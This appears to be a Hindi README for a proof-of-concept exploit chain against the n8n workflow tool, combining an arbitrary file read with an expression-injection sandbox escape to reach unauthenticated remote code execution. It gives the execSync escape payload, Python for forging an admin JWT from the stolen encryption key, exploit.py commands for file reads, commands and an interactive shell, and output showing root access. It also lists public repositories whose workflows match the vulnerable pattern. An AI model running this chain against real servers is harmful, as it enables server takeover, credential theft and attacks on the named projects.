
n8n के लिए स्वचालित एक्सप्लॉइट श्रृंखला जो मनमाना फ़ाइल पठन, एडमिन टोकन जालसाज़ी, और सैंडबॉक्स बायपास को जोड़कर बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त करती है।
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (क्रिटिकल) |
| प्रभावित | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| ठीक किया गया | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| खुलासा | 2026-01-07 11:09 UTC |
| कोडनेम | Ni8mare |
| श्रेय | Dor Attias (Cyera) |
| एक्सप्लॉइट | Chocapikk |
| प्रक्रिया | AI-स्वचालित: पैच डिफ → रीप्रो → लैब → एक्सप्लॉइट (~9 घंटे खुलासे के बाद) |
| प्रकार | प्रूफ ऑफ कॉन्सेप्ट - सार्वभौमिक एक्सप्लॉइट नहीं (विशिष्ट वर्कफ़्लो कॉन्फ़िगरेशन की आवश्यकता है, सीमाएँ देखें) |
n8n पर पूर्ण बिना प्रमाणीकरण वाली RCE श्रृंखला:
यह जोखिम संस्करण-आधारित है। जोखिम के संदर्भ में, सार्वजनिक रूप से सुलभ कमजोर n8n इंस्टेंस मौजूद हैं।
LeakIX परिणाम: उजागर इंस्टेंस देखें
यह एक्सप्लॉइट Cyera राइट-अप से स्वतंत्र रूप से विकसित किया गया था (पूरा होने के बाद खोजा गया)। मुख्य अंतर:
| Cyera (मूल शोध) | यह एक्सप्लॉइट | |
|---|---|---|
| फ़ाइल पठन | AI ज्ञान आधार में लोड करें → चैट के माध्यम से क्वेरी करें | सीधा HTTP प्रतिक्रिया |
| पूर्वापेक्षाएँ | चैट वर्कफ़्लो + AI एकीकरण | फ़ाइल अपलोड वाला कोई भी फ़ॉर्म |
| RCE विधि | "Execute Command" नोड (डिफ़ॉल्ट रूप से अक्षम) | एक्सप्रेशन इंजेक्शन (डिफ़ॉल्ट इंस्टॉल पर काम करता है) |
| स्वचालन | मैनुअल/अवधारणात्मक डेमो | पूरी तरह से स्वचालित Python स्क्रिप्ट |
दोनों दृष्टिकोणों के लिए विशिष्ट वर्कफ़्लो कॉन्फ़िगरेशन की आवश्यकता होती है। Cyera को चैट + AI एकीकरण की आवश्यकता है, इस एक्सप्लॉइट को Respond नोड वाले फ़ॉर्म की आवश्यकता है। विवरण के लिए सीमाएँ देखें।
┌───────────────────────────────────────────────────────────┐
│ बिना प्रमाणीकरण │
├───────────────────────────────────────────────────────────┤
│ 1. /proc/self/environ पढ़ें → HOME निर्देशिका खोजें │
│ 2. $HOME/.n8n/config पढ़ें → encryptionKey प्राप्त करें │
│ 3. $HOME/.n8n/database.sqlite पढ़ें → एडमिन क्रेडेंशियल │
├───────────────────────────────────────────────────────────┤
│ टोकन फोर्ज │
├───────────────────────────────────────────────────────────┤
│ 4. encryptionKey से JWT सीक्रेट प्राप्त करें │
│ 5. एडमिन सत्र कुकी फोर्ज करें │
├───────────────────────────────────────────────────────────┤
│ प्रमाणित RCE │
├───────────────────────────────────────────────────────────┤
│ 6. एक्सप्रेशन इंजेक्शन के साथ वर्कफ़्लो बनाएं │
│ 7. this.process.mainModule.require के माध्यम से सैंडबॉक्स │
│ बाईपास │
│ 8. मनमाने कमांड निष्पादित करें │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
प्रसिद्ध "Merge commit from fork" - जब आप यह देखते हैं, तो किसी ने कुछ मसालेदार खोजा है। 🌶️
// पहले (कमजोर)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// बाद में (ठीक किया गया)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Content-Type: application/json भेजें → filepath नियंत्रित करें → कोई भी फ़ाइल पढ़ें।
n8n उपयोगकर्ता कोड (Code Node, एक्सप्रेशन) को vm2/isolated-vm का उपयोग करके सैंडबॉक्स करता है। अन्य RCE वेक्टर:
| तकनीक | स्थिति |
|---|---|
| Execute Command Node | डिफ़ॉल्ट रूप से अक्षम (N8N_ALLOW_EXEC_COMMAND=false) |
| SSH/HTTP Nodes | रिमोट सर्वर पर निष्पादित करें, n8n होस्ट पर नहीं |
| Pyodide सैंडबॉक्स एस्केप | CVE-2025-68668 - Python Code Node की आवश्यकता है |
| एक्सप्रेशन इंजेक्शन | CVE-2025-68613 - डिफ़ॉल्ट इंस्टॉल पर काम करता है |
मैंने एक्सप्रेशन इंजेक्शन का उपयोग किया क्योंकि यह डिफ़ॉल्ट सेटिंग्स वाले किसी भी n8n पर काम करता है - कोई विशेष नोड या कॉन्फ़िगरेशन की आवश्यकता नहीं है। Pyodide बाईपास (CVE-2025-68668) के लिए Python Code Node की आवश्यकता होती है जो सभी इंस्टेंस पर उपलब्ध नहीं हो सकता है।
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n एक्सप्रेशन के पास this.process.mainModule.require तक पहुंच है → पूर्ण सैंडबॉक्स एस्केप।
# JWT सीक्रेट व्युत्पत्ति
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT हैश
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# टोकन फोर्ज करें
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# सेटअप के लिए ~60 सेकंड प्रतीक्षा करें
# फ़ॉर्म: http://localhost:5678/form/vulnerable-form
# क्रेडेंशियल: [email protected] / password
# मनमाना फ़ाइल पढ़ें
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# कमांड के साथ पूर्ण श्रृंखला
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# इंटरैक्टिव शेल
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
यह "किसी भी n8n को हैक करने वाला" एक्सप्लॉइट नहीं है। इसे काम करने के लिए विशिष्ट शर्तों की आवश्यकता होती है:
| आवश्यकता | विवरण |
|---|---|
| फ़ाइल अपलोड वाला फ़ॉर्म | लक्ष्य में फ़ाइल अपलोड फ़ील्ड वाला फ़ॉर्म वर्कफ़्लो होना चाहिए |
| Respond to Webhook नोड | वर्कफ़्लो को HTTP प्रतिक्रिया में फ़ाइल सामग्री लौटानी चाहिए |
| वर्कफ़्लो सक्रिय | फ़ॉर्म वर्कफ़्लो सक्रिय होना चाहिए |
| बिना प्रमाणीकरण पहुंच | फ़ॉर्म सार्वजनिक रूप से सुलभ होना चाहिए (कोई प्रमाणीकरण नहीं) |
कमजोर वर्कफ़्लो कॉन्फ़िगरेशन का उदाहरण:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
मुख्य तत्व हैं: fieldType: "file" + respondWith: "binary"। यह पैटर्न फ़ाइल प्रोसेसिंग वर्कफ़्लो (कन्वर्टर, इमेज रिसाइज़र, दस्तावेज़ प्रोसेसर) में आम है।
काम करता है:
काम नहीं करता:
नोट: कमजोरी (मनमाना फ़ाइल पठन) एक्सफिल्ट्रेशन विधि की परवाह किए बिना ट्रिगर होती है। Respond नोड सामग्री पुनर्प्राप्त करने का केवल एक तरीका है। वैकल्पिक विधियाँ (OOB, अन्य आउटपुट नोड) वर्कफ़्लो कॉन्फ़िगरेशन के आधार पर काम कर सकती हैं।
ब्लाइंड एक्सप्लॉइटेशन: यदि कोई respond नोड मौजूद नहीं है, तो फ़ाइल अभी भी n8n द्वारा पढ़ी जाती है लेकिन HTTP प्रतिक्रिया के माध्यम से एक्सफिल्ट्रेट नहीं की जा सकती। वैकल्पिक तकनीकों (OOB, टाइमिंग) की आवश्यकता होगी।
कमजोर पैटर्न (Form Trigger + फ़ाइल अपलोड + Respond to Webhook) सार्वजनिक GitHub रिपॉजिटरी में मौजूद है।
नोट: लोकप्रिय n8n वर्कफ़्लो रिपॉजिटरी (>100⭐) इस पैटर्न का उपयोग नहीं करते हैं। ये समुदाय/व्यक्तिगत प्रोजेक्ट हैं:
| वर्कफ़्लो फ़ाइल | फ़ाइल फ़ील्ड | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Images, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Document(PDF) | text |
| ai_resume_project/resume_rag.json | File Upload | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Audio File | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload File | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Upload your document | default |
| learn_earn_ai_insta/.../My workflow.json | upload your file | default |
| finintworkshop/.../API using n8n (ToT).json |
ये समुदाय-योगदान वाले वर्कफ़्लो हैं। कोई भी आधिकारिक n8n.io टेम्पलेट इस कमजोर पैटर्न का उपयोग नहीं करता है।
| file |
json |